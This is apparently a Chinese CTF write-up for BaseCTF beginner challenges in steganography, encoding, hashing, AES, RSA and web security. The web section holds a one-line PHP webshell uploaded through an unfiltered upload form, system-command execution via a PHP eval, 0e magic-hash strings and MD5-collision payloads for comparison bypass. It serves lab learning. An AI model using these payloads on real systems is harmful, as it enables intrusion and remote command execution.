MISC

你也喜欢圣物吗

鲁迪是个老hentai!

附件下载下来有两个文件

  • sweeeeeet.png
  • where_is_key.zip(加密,里面有个where_is_key.zip)

附件原图sweeeeeet.png

先用TweakPNG分析一下,提示我们有冗余数据

在png中,冗余数据如果要有,那就是在文件尾,然后在文件尾就可以看到有一段base编码后的字符

赛博厨师解码一下,发现是一段提示

告诉我们是LSB隐写了,但是我用StegSolve搞半天出不来,最后我决定用大佬的Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from PIL import Image
import sys


def toasc(strr):
return int(strr, 2)


# str1为所要提取的信息的长度(根据需要修改),str2为加密载体图片的路径,str3为提取文件的保存路径
def decode(str1, str2, str3):
b = ""
im = Image.open(str2)
lenth = int(str1) * 8
width, height = im.size[0], im.size[1]
count = 0
for h in range(height):
for w in range(width):
# 获得(w,h)点像素的值
pixel = im.getpixel((w, h))
# 此处余3,依次从R、G、B三个颜色通道获得最低位的隐藏信息
if count % 3 == 0:
count += 1
b = b + str((mod(int(pixel[0]), 2)))
if count == lenth:
break
if count % 3 == 1:
count += 1
b = b + str((mod(int(pixel[1]), 2)))
if count == lenth:
break
if count % 3 == 2:
count += 1
b = b + str((mod(int(pixel[2]), 2)))
if count == lenth:
break
if count == lenth:
break

with open(str3, "w", encoding="utf-8") as f:
for i in range(0, len(b), 8):
# 以每8位为一组二进制,转换为十进制
stra = toasc(b[i : i + 8])
# 将转换后的十进制数视为ascii码,再转换为字符串写入到文件中
# print((stra))
f.write(chr(stra))
print("sussess")


def plus(string):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
return string.zfill(8)


def get_key(strr):
# 获取要隐藏的文件内容
with open(strr, "rb") as f:
s = f.read()
string = ""
for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.先用ord()函数将s的内容逐个转换为ascii码
# 2.使用bin()函数将十进制的ascii码转换为二进制
# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
string = string + "" + plus(bin(s[i]).replace("0b", ""))
# print(string)
return string


def mod(x, y):
return x % y


# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径
def encode(str1, str2, str3):
im = Image.open(str1)
# 获取图片的宽和高
width, height = im.size[0], im.size[1]
print("width:" + str(width))
print("height:" + str(height))
count = 0
# 获取需要隐藏的信息
key = get_key(str2)
keylen = len(key)
for h in range(height):
for w in range(width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen:
break
# 下面的操作是将信息隐藏进去
# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
# 再从需要隐藏的信息中取出一位,转换为整型
# 两值相加,就把信息隐藏起来了
a = a - mod(a, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
b = b - mod(b, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
c = c - mod(c, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0:
im.putpixel((w, h), (a, b, c))
im.save(str3)


if __name__ == "__main__":
if "-h" in sys.argv or "--help" in sys.argv or len(sys.argv) < 2:
print("Usage: python test.py <cmd> [arg...] [opts...]")
print(" cmds:")
print(" encode image + flag -> image(encoded)")
print(" decode length + image(encoded) -> flag")
sys.exit(1)
cmd = sys.argv[1]
if cmd != "encode" and cmd != "decode":
print("wrong input")
sys.exit(1)
str1 = sys.argv[2]
str2 = sys.argv[3]
str3 = sys.argv[4]
if cmd != "encode" and cmd != "decode":
print("Wrong cmd %s" % cmd)
sys.exit(1)
elif cmd == "encode":
encode(str1, str2, str3)
elif cmd == "decode":
decode(str1, str2, str3)

然后运行命令

1
2
$ python steg.py decode 64 .\sweeeeeet.png flag.txt
# 这个东西用来解题的用法是:python + python文件名 + decode + 长度 + 图片位置 + 输出位置

因为不知道我们的flag有多长,所以我设置了64,但是出来的其实也不是flag,而是一段文字,有意义的就是lud1_lud1(真就鲁迪啊)

然后把这个密码拿去解压压缩包,里面的文件可以解压出来,但是里面这个压缩包还有密码

看似已经没有提示了,所以我想到的是伪加密,我尝试使用ZipCracker来自动解除伪加密

ZipCracker: https://github.com/asaotomo/ZipCracker

结果跟我想的一样,它是个伪加密

打开里面的flag.txt文件,是两段base编码分布在文件的头部和尾部(你中间放一堆回车防谁呢)

拿去bake一次,发现结果里面还有一段,并且告诉我们前面半段是假的

拿着后面再bake一次就出来了

海上遇到了鲨鱼

来看看网络鲨鱼吧

附件下载下来是个.pcapng文件,也就是wireshark的抓包文件,我们把它打开(我用的Omnipeek)

发现里面有几个请求

/wireshark/flag.php文件的访问,返回的内容为}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB,估计是倒转了,所以我们直接转回来就行了

1
2
original_string = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB"
print(original_string[::-1])

然后就能得到flag了

Base

Base啊Base,去学学编码吧

这里提示很明显了,base编码方式,文件里面内容为KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======

五个等号,base32,解码一下发现没出来,再来一次32发现不对,那来一次64,就出来了

人生苦短,我用Python

下载下来一个Python文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import hashlib

def abort(id):
print('You failed test %d. Try again!' % id)
exit(1)

print('Hello, Python!')
flag = input('Enter your flag: ')

if len(flag) != 38:
abort(1)

if not flag.startswith('BaseCTF{'):
abort(2)

if flag.find('Mp') != 10:
abort(3)

if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':
abort(4)

if ord(flag[-1]) != 125:
abort(5)

if flag.count('_') // 2 != 2:
abort(6)

if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:
abort(7)

if flag[12:32:4] != 'lsT_n':
abort(8)

if '😺'.join([c.upper() for c in flag[:9]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S':
abort(9)

if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024:
abort(10)

if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':
abort(11)

if flag[::-7].encode().hex() != '7d4372733173':
abort(12)

if set(flag[12::11]) != {'l', 'r'}:
abort(13)

if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):
abort(14)

if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610:
abort(15)

if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):
abort(16)

if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':
abort(17)

if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':
abort(18)

print('🎉 You are right!')
import this

这里给了很多信息

  • flag的长度为38
  • flag的头一定为BaseCTF{
  • flag的第11和12位一定为Mp
  • flag的最后三位一定为3x}
  • flag的最后一位的字符的ASCII码为125(}
  • flag里面下划线_的数量整除2的结果为2,也就是下划线数量为4~5个
  • flag中使用下划线_分割后,每一部分的字符数目为14, 2, 6, 4, 8(变相告诉我们只有4个下划线)
  • flag中13~33位中一定含有字符lsT_n
  • flag的前9位为BaseCTF{s或者BaseCTF{S
  • flag的倒数第七个字符到倒数第三个字符的base64编码为MG1QbA==0mPl
  • flag倒着取,每七个取一个字符,经过hex编码后结果为7d4372733173}Crs1s
  • flag从第13位开始,每11个字符取一次(第13位、第24位、第35位),这三位的字符一定为l或者r
  • flag的第22位到第28位的编码结果是[116, 51, 114, 95, 84, 104]t3r_Th
  • flag的第18位到20位的字符对应的ASCII值乘以2024_08_15的指数总和等于41378751114180610
  • flag的第一位为字母(已经得知是B),第九位为小写字母,第14位为数字
  • flag的第14位为3,第16位为1
  • flag经过sha1编码后的结果为e40075055f34f88993f47efb3429bd0e44a7f479
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
B a s e C T F { s M p l/r 3 _ 1 _ t 3 r _ T h _ C 0 m P l 3 x }

综合这些条件,我们就可以得到上面这个表所示的提示

然后我就开始猜了,这个跟英语的功底有一定关系的

  • 结合第9~14位为(未知用*代替)s*Mp*3,我的想法是simple这个单词,所以我猜了s1Mp13
  • 第16~17位为两个字母的单词,我想到的就是is,所以我猜了1s

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th**_C0mpl3x},我再猜

  • 第26~29位不是this就是that,按照英语的习惯,我猜是个that,所以这个地方可能为Th4t

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th4t_C0mpl3x},就剩下中间的***

这里第十五个条件:sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610的计算方式如下(假设flag的第18到21位为abc)

  • 使用enumerate生成带索引的列表,为[(0, "a"), (1, "b"), (2, "c")]
  • 然后对每个索引进行计算
    • 生成字符的ASCII码,例如a为97
    • 使用a的ASCII码进行运算:97 * 20240815 ** 0,此处的0是索引

这个时候我们就得到了一个方程(设α、β、γ为三个位置的字符的ASCII码)

其中,20240815^2 === 409690591864225, 而41378751114180610 // 409690591864225 = 101,所以我猜γ=101e

然后用(41378751114180610 - 409690591864225*101) // 20240815 = 66,猜测β=66B

最后用41378751114180610 - 409690591864225 * 101 - 20240815 * 66 = 95,猜测α=95_

此时flag为BaseCTF{s1Mp13_1s__Bet3r_Th4t_C0mpl3x}

发现不对,下划线只能有4个,而我们的已知条件已经有4个了,这样的话分段数目不对

然后我发现我错了,这里[17:20]是左闭右开区间,也就是应该是第18位到20位的内容为这些(上面条件里面已经更正过来了),所以应该为BaseCTF{s1Mp13_1s_Be*t3r_Th4t_C0mpl3x},所以我猜测中间那个未知的词为better,那么就有Bett3rBeTt3r的写法,但是我都尝试了,不管是BaseCTF{s1Mp13_1s_Bett3r_Th4t_C0mpl3x}还是BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}都不对,说明Th4t那个地方应该是错的

那就可能为This了,也说得通:Simple is better, this complex

所以尝试一下thisthis可写作ThisTh1sThiSThis,都去试试

然后我想起来了,这个代码不就是用来检测flag的嘛……然后用这个代码检测,发现过不了第八项

所以第八项告诉我们一定是写作BeTt3r,就变成了BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x},但是还有一个错了,根据第八项取得最后一个字母错了,他是n,所以我就想到了than这个单词(表示比较),所以我拿去试试,用BaseCTF{s1Mp13_ls_BeTt3r_Th4n_C0mpl3x}

然后还是错了,发现是simple这个单词里面的l就是l,我就用了BaseCTF{s1Mpl3_ls_BeTt3r_Th4n_C0mpl3x}

过不了第十一项,complex应该为C0mPl3x(当时打错了),然后是过不了第17项,所以is应该写作1s,最终确定flag为BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

签到

关注公众号然后签到就有了

根本进不去啊!

这个是考了DNS记录的其他类型,我们平常用的最多的是A和CNAME,但是实际上TXT类型的DNS记录可以用来存文本

使用Linux的dig命令可以查看到域名下的TXT记录

所以我们dig一下flag.basectf.fun的TXT记录就出来了

你会算md5吗

下载下来是个Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

flag='BaseCTF{}'

output=[]
for i in flag:
my_md5=hashlib.md5()
my_md5.update(i.encode())
output.append(my_md5.hexdigest())
print("output =",output)
'''
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
'''

这个直接md5碰撞就完事了,写个Python脚本自动生成结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import hashlib
import string


def generate_md5_dict():
# 定义所有字符集,包括字母、数字和常见符号
chars = (
string.ascii_uppercase
+ string.ascii_lowercase
+ string.digits
+ "!\"#$%&'()*+,-./:;<=>?@[\\]_^`{|}~" # 常见符号
)

# 初始化一个空字典来存储结果
md5_dict = {}

# 遍历所有字符
for char in chars:
# 计算MD5哈希值
md5_hash = hashlib.md5(char.encode()).hexdigest()
# 将MD5哈希值和字符存入字典
md5_dict[md5_hash] = char

return md5_dict


# 生成字典
md5_dictionary = generate_md5_dict()

# 打印字典
for md5_value, character in md5_dictionary.items():
print(f"MD5: {md5_value} -> Character: {character}")

output = [
"9d5ed678fe57bcca610140957afab571",
"0cc175b9c0f1b6a831c399e269772661",
"03c7c0ace395d80182db07ae2c30f034",
"e1671797c52e15f763380b45e841ec32",
"0d61f8370cad1d412f80b84d143e1257",
"b9ece18c950afbfa6b0fdbfa4ff731d3",
"800618943025315f869e4e1f09471012",
"f95b70fdc3088560732a5ac135644506",
"0cc175b9c0f1b6a831c399e269772661",
"a87ff679a2f3e71d9181a67b7542122c",
"92eb5ffee6ae2fec3ad71c777531578f",
"8fa14cdd754f91cc6554c9e71929cce7",
"a87ff679a2f3e71d9181a67b7542122c",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"0cc175b9c0f1b6a831c399e269772661",
"e4da3b7fbbce2345d7772b0674a318d5",
"336d5ebc5436534e61d16e63ddfca327",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"8fa14cdd754f91cc6554c9e71929cce7",
"8fa14cdd754f91cc6554c9e71929cce7",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"336d5ebc5436534e61d16e63ddfca327",
"a87ff679a2f3e71d9181a67b7542122c",
"8f14e45fceea167a5a36dedd4bea2543",
"1679091c5a880faf6fb5e6087eb1b2dc",
"a87ff679a2f3e71d9181a67b7542122c",
"336d5ebc5436534e61d16e63ddfca327",
"92eb5ffee6ae2fec3ad71c777531578f",
"8277e0910d750195b448797616e091ad",
"0cc175b9c0f1b6a831c399e269772661",
"c81e728d9d4c2f636f067f89cc14862c",
"336d5ebc5436534e61d16e63ddfca327",
"0cc175b9c0f1b6a831c399e269772661",
"8fa14cdd754f91cc6554c9e71929cce7",
"c9f0f895fb98ab9159f51fd0297e236d",
"e1671797c52e15f763380b45e841ec32",
"e1671797c52e15f763380b45e841ec32",
"a87ff679a2f3e71d9181a67b7542122c",
"8277e0910d750195b448797616e091ad",
"92eb5ffee6ae2fec3ad71c777531578f",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"0cc175b9c0f1b6a831c399e269772661",
"c9f0f895fb98ab9159f51fd0297e236d",
"0cc175b9c0f1b6a831c399e269772661",
"cbb184dd8e05c9709e5dcaedaa0495cf",
]

result = ""

for item in output:
try:
result += md5_dictionary[item]
except KeyError:
print(item)
print(result)

print(result)

跑一下就出来了

Crypto

helloCrypto

第一步,装好python;第二步,学会装库。

附件是Python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 已知的 key 和 ciphertext
key1 = 208797759953288399620324890930572736628
ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'

# 将 key1 转换为字节
key = long_to_bytes(key1)

# 创建 AES 解密器
my_aes = AES.new(key=key, mode=AES.MODE_ECB)

# 解密并取消填充
plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size)

# 输出解密后的明文
print(plaintext.decode())

直接反着来就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 已知的 key 和 ciphertext
key1 = 208797759953288399620324890930572736628
ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'

# 将 key1 转换为字节
key = long_to_bytes(key1)

# 创建 AES 解密器
my_aes = AES.new(key=key, mode=AES.MODE_ECB)

# 解密并取消填充
plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size)

# 输出解密后的明文
print(plaintext.decode())

ez_rsa

下载下来还是Python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
import gmpy2
m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')
e=65537
p=getPrime(512)
q=getPrime(512)
n=p*q
not_phi=(p+2)*(q+2)
c=pow(m,e,n)

print(n)
print(not_phi)
print(c)


'''
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
'''

题目里特意告诉你那个是not_phi,然而我们可以算出phi_n

所以我们可以得到

然后写成代码就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse

e = 65537
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945

# 计算 φ(n)
phi_n = (3 * n - not_phi + 6) // 2
print("φ(n):", phi_n)

# 计算私钥 d
d = mod_inverse(e, phi_n)

if d:
# 解密消息
m = pow(c, d, n)

# 将解密后的长整型数转换为字节
flag_bytes = long_to_bytes(m)
print("解密后的消息:", flag_bytes.decode())
else:
print("无法计算私钥 d。")

Web

HTTP 是什么呀

成为嘿客的第一步!当然是 HTTP 啦!
可以多使用搜索引擎搜索每个参数的含义以及传参方式

💡 看看你是怎么到达最后一个页面的,中途是不是经过了什么?

打开网页后有如下要求

  • GET参数basectf=we1c%00me
  • POST参数Base=fl@g
  • Cookie传入c00k13=i can't eat it
  • User-Agent传入Base
  • Referer传入Base
  • IPX-Forwarded-For传入127.0.0.1

一切用Hackbar就可以搞定,但是GET的那个百分号要转义一下

来到这个页面没有flag,但是提示已经告诉我们了中间有一个页面,我们看到Network选项卡可以看到有个重定向里面有flag

把他提供的内容拿去base64解码一下就有了

喵喵喵´•ﻌ•`

小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…..

进来以后是PHP源码

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);

$a = $_GET['DT'];

eval($a);

?>

很明显了就是RCE,我们尝试传入phpinfo();验证了我们的猜想

但是我传入了exec("ls")shell_exec("ls")都没反应,可能是服务器把这两个函数禁用了 这两个函数是没有输出的,要加print,但是我发现了用system("ls")可以,我就用来找flag的位置了

找到了,cat出来就有了

md5绕过欸

绕哇绕哇绕

打开了还是PHP源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}

}
else {
echo '没看到参数呐';
}
?>

这里要求我们GET参数namename2,POST内容passwordpassword2

namepassword不相等并且name的md5值与password的md5值相等

这里出现了四种PHP运算符:

  • != 不等运算符,会进行类型转换,然后比较两个变量的值是否不等
  • == 相等运算符,会进行类型转换,然后比较两个变量的值是否相等
  • !== 不全等运算符,不会进行类型转换,当类型不一致或者类型一致但是值不一致的时候返回True
  • === 全等运算符,不会进行类型转换,当类型一致且值一致的时候返回True

不等/相等绕过

这题第一个条件$name != $password && md5($name) == md5($password),前半很好满足,后半看似要找两个md5值相同的内容,但其实不是

我们上面说了,==会进行强制类型转换,而如果我们这个时候的md5值的头部是0e会怎么样呢?会显示为科学计数法0exxxxxxx,被PHP认为是数字,而这个数字非常地小,所以转换后结果为0,实现绕过

所以我们可以传入name=QNKCDZOpassword=240610708,这样分别对应了0e8304004519934940580242199033910e462097431906509019562988736854就绕过了第一层

附:抄过来的md5以0e开头的常见字符串

  • QNKCDZO
    0e830400451993494058024219903391
  • 240610708
    0e462097431906509019562988736854
  • s878926199a
    0e545993274517709034328855841020
  • s155964671a
    0e342768416822451524974117254469
  • s214587387a
    0e848240448830537924465865611904
  • s214587387a
    0e848240448830537924465865611904
  • s878926199a
    0e545993274517709034328855841020
  • s1091221200a
    0e940624217856561557816327384675
  • s1885207154a
    0e509367213418206700842008763514
  • s1502113478a
    0e861580163291561247404381396064
  • s1885207154a
    0e509367213418206700842008763514
  • s1836677006a
    0e481036490867661113260034900752
  • s155964671a
    0e342768416822451524974117254469
  • s1184209335a
    0e072485820392773389523109082030
  • s1665632922a
    0e731198061491163073197128363787
  • s1502113478a
    0e861580163291561247404381396064
  • s1836677006a
    0e481036490867661113260034900752
  • s1091221200a
    0e940624217856561557816327384675
  • s155964671a
    0e342768416822451524974117254469
  • s1502113478a
    0e861580163291561247404381396064
  • s155964671a
    0e342768416822451524974117254469
  • s1665632922a
    0e731198061491163073197128363787
  • s155964671a
    0e342768416822451524974117254469
  • s1091221200a
    0e940624217856561557816327384675
  • s1836677006a
    0e481036490867661113260034900752
  • s1885207154a
    0e509367213418206700842008763514
  • s532378020a
    0e220463095855511507588041205815
  • s878926199a
    0e545993274517709034328855841020
  • s1091221200a
    0e940624217856561557816327384675
  • s214587387a
    0e848240448830537924465865611904
  • s1502113478a
    0e861580163291561247404381396064
  • s1091221200a
    0e940624217856561557816327384675
  • s1665632922a
    0e731198061491163073197128363787
  • s1885207154a
    0e509367213418206700842008763514
  • s1836677006a
    0e481036490867661113260034900752
  • s1665632922a
    0e731198061491163073197128363787
  • s878926199a
    0e545993274517709034328855841020

不全等/全等绕过

这个就得真的用两个内容不一样,但是md5值一样的字符串了,我们用一个碰撞器来弄到我们要的东西

Fastcoll: https://github.com/AndSonder/fastcoll/blob/master/README.md

我先写了一个文件叫做HelloWorld.txt,里面的内容就是为空(其实文件里面也可以放东西,但是可能计算时间会久一点),然后用这个软件来帮我碰撞

1
./fastcoll_v1.0.0.5.exe -p HelloWorld.txt -o hw1.txt hw2.txt

因为输出的文件很多不可见字符,我们要对所有的字符进行URL编码后再发送,我用了PHP来做这个事情,因为Python死活读不到文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("hw1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("hw2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw2.txt"));
echo "</br>";

放到我的PHPStudy环境,访问就可以得到了

1
2
3
4
5
二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%8Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%9D%1AO%A2%ECB%E0%83W%84%DB%C3%7C%0BKK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%60t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah+%EE%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%A2%D9h%C7%40

二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%0Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%1D%1BO%A2%ECB%E0%83W%84%DB%C3%7C%0B%CBK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%E0t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah%A0%ED%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%22%D9h%C7%40

然后把两个url编码放到hackbar里,进行POST请求,本来就可以得到flag了,结果!!!

不对啊!!!思路是正确的为啥出不来,没办法自己搞不定就去问人了

然后我打开了我的Burpsuite,再发送一下我的请求,然后就可以了

这波Hackbar背大锅

补充:md5全等绕过的第二种做法

传入name2[]=1password2[]=3(数字随意)也可以绕过,因为md5传入数组的时候,返回结果都是null

A Dark Room

文字游戏 玩得开心!

打开来是个网页,我一开始以为真的要从文字游戏里面找线索,结果一按F12

好吧,这就得到flag了

upload

快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?

这里提示我们了是文件上传没有进行严格的过滤而导致的漏洞,我们直接生成一个webshell,我这里用的是哥斯拉

生成了一个webshell.php文件,内容如下

1
2
<?php
eval($_POST["pass"]);

上传后可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
error_reporting(0);
if (isset($_FILES['file'])) {
highlight_file(__FILE__);
$file = $_FILES['file'];
$filename = $file['name'];
$filetype = $file['type'];
$filesize = $file['size'];
$filetmp = $file['tmp_name'];
$fileerror = $file['error'];

if ($fileerror === 0) {
$destination = 'uploads/' . $filename;
move_uploaded_file($filetmp, $destination);
echo 'File uploaded successfully';
} else {
echo 'Error uploading file';
}
}
?>
<!DOCTYPE html>
